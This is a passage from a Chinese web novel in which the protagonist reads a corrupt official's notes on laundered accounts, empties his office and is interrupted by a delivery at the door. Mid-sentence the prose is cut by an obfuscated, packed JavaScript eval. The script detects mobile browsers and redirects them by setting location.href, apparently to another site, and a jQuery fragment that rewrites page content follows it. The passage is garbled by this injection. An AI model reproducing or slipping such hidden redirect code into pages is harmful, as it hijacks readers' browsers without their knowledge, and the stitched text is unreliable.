没一张是松原良本人的,显然,这都是他精心准备,用来分散资金和规避调查的安全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122255|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 账户。 “啧啧,玩得挺花,业务范围够广的。”温叙一边快速翻看着笔记后面部分,一边摇头晃脑评价,“贪污受贿,草菅人命,洗钱跑路,要素真齐全。” “可惜咯,辛辛苦苦几十年,一朝回到解放前,现在这些赃款,可都便宜我这个热心市民了。”他合上笔记本,顺手收进背包。 此时,这间原本装修奢华办公室,经过温叙的一番折腾,已经彻底变成了“毛坯房plus版”。 不仅家具全空,连墙纸都被他撕坏了好几处,墙上还有刚才打斗留下的坑洞、裂缝、影刺扎出来的小孔,整个房间可谓千疮百孔,惨不忍睹。 温叙拍了拍手上的灰,抬脚,正准备离开这个已经被他榨干价值的房间。 “叮咚——” 清脆的门铃声突然响起,在空旷的房间里格外突兀。 温叙脚步一顿,眨了眨眼。 紧接着,一道平稳的,没有情绪起伏的男声,透过厚重的门板,清晰地传了进来: “您好,您的快递。”